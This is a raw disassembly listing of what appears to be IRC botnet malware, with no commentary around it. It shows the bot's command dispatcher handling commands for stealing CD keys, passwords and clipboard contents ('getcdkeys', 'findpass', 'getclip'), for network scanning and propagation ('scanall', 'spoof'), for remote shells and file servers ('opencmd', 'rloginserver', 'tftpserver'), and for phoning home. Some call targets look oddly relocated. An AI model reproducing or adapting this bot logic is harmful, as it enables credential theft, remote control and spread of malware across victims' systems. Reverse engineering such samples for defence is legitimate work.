		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C888
		push	offset dword_42C87C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C878
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C864
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]


loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C830
		call	sub_4151AC
		pop	ecx


loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7FC
		push	eax
		mov	dword_4CEDD8, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C754
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5


loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C6E4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4037D5


loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42C6A8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_431CAA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431CAA
		jz	loc_401E94
		mov	ecx, edx


loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C668
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431AC8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431AC8


loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------


loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431AC8[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5C8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F


loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D


loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D7D8
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl


loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"


loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5E8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_403A83


loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		call	near ptr 2670E94h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5AC
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42C574
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42C554
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h


loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108


loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42C520
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_403C13


loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------


loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42C4E4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------


loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C


loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------


loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		call	near ptr 2670000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4A8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_403D85


loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42C46C


loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------


loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------


loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080


loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]


loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D7D8


loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C430
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_403EDA


loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42C3F4
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D


loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CB540
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42C3D0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42C3A4
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42C378


loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------


loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42C354
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42C328
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C310
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42C2F4
		jmp	loc_404285
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
